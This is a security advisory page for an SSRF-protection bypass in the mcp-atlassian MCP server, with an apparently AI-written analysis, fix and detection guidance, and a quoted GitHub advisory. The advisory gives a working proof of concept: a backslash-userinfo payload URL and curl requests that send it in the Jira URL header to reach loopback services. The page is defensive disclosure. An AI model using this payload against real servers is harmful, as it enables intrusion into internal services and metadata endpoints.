CVE-2026-77274: MCP Atlassian: SSRF Protection Bypass
The SSRF check in mcp-atlassian, `validate_url_for_ssrf()`, can be fooled with a backslash in the URL, such as `127.0.0.1:6666\@www.baidu.com` after the scheme. The check sees an allowed public host while the HTTP client connects to loopback. Fixed in 0.22.0.
Published Sep 22, 2026 · Analysis Oct 22, 2026
What an attacker can do
This is a parser mismatch. validate_url_for_ssrf() calls urllib.parse.urlparse() and checks parsed.hostname. For the payload above that is www.baidu.com, so IP and DNS checks pass. The actual request goes through the Atlassian client and requests.Session, which treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the path, so the request lands on 127.0.0.1 port 6666 with the path /%[email protected]/rest/api/2/myself.
The entry point is the header-based authentication flow. With the streamable HTTP transport, a caller sends POST /mcp with X-Atlassian-Jira-Url set to the crafted value and any X-Atlassian-Jira-Personal-Token. A jira_get_issue call triggers fetcher creation and token validation, and the request reaches the local service. The reporter confirmed a listener on 127.0.0.1:6666 received it.
No privileges are needed in the CVSS vector. The attacker gets requests to loopback or internal services from the MCP host's network position, for example admin interfaces or metadata endpoints. The same applies to X-Atlassian-Confluence-Url.
Who is affected
mcp-atlassian below 0.22.0 when run with HTTP transport where clients can supply the Jira or Confluence URL headers. The report's tested-version line reads 2.14.5, which does not match the project's numbering; rely on the package data, which marks all versions below 0.22.0.
pip show mcp-atlassianmcp-atlassian
- Ecosystem
- PyPI
- Affected
- < 0.22.0
- Fixed in
- 0.22.0
- Check
pip show mcp-atlassian
How to fix it
Upgrade to 0.22.0:
pip install --upgrade mcp-atlassian==0.22.0The advisory suggests no separate workaround. Until you upgrade, do not expose the HTTP transport to untrusted clients, and restrict egress from the MCP host to your real Atlassian endpoints. Any SSRF check that parses a URL differently from the HTTP client is fragile, so the egress rule matters.
How to tell if you were hit
Search request logs for X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url values containing a backslash, an @ or an IP literal. On the host, look for outbound requests from the MCP process to 127.0.0.1 or internal ranges, and for incoming hits on internal services with paths starting /%5C@. Check for unexpected initialize calls on /mcp from unfamiliar clients.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Environment
- Project:
sooperset/mcp-atlassian - Affected function:
validate_url_for_ssrf() - Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint:
POST /mcp - Tested version:
2.14.5
Description
The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)Payload:
http://127.0.0.1:6666\@www.baidu.comFor this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.comTherefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%[email protected]/rest/api/2/myselfThis allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'Send the initialized notification using the returned Mcp-Session-Id:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized"}'Trigger Jira fetcher creation and token validation:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'Observed response:
The local HTTP server also receives the request, confirming SSRF.
Root Cause
The security validation and the actual HTTP request do not use the same URL interpretation.
validate_url_for_ssrf()usesurllib.parse.urlparse()and validatesparsed.hostname.- For the payload,
parsed.hostnameiswww.baidu.com. - The actual request is sent by the Atlassian client through
requests.Session. requeststreats the target as127.0.0.1:6666and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before \@.
Impact
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.
Credited to RacerZ-fighting.
Questions
- What input triggers the bypass?
A URL with a backslash before userinfo-like syntax, for example a host part of
127.0.0.1:6666\@www.baidu.com. urlparse reads the host as www.baidu.com, while requests connects to 127.0.0.1:6666.- Does the attacker need a valid Atlassian token?
The proof of concept used a dummy token. The request to the attacker-chosen host is made while the server validates it.
- Which transport is exposed?
The proof used streamable HTTP, where clients send the URL headers per request.
- Is this exploited in the wild?
No source says so. It is not in CISA's KEV catalog, and the advisory describes only a local reproduction against a loopback test server.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
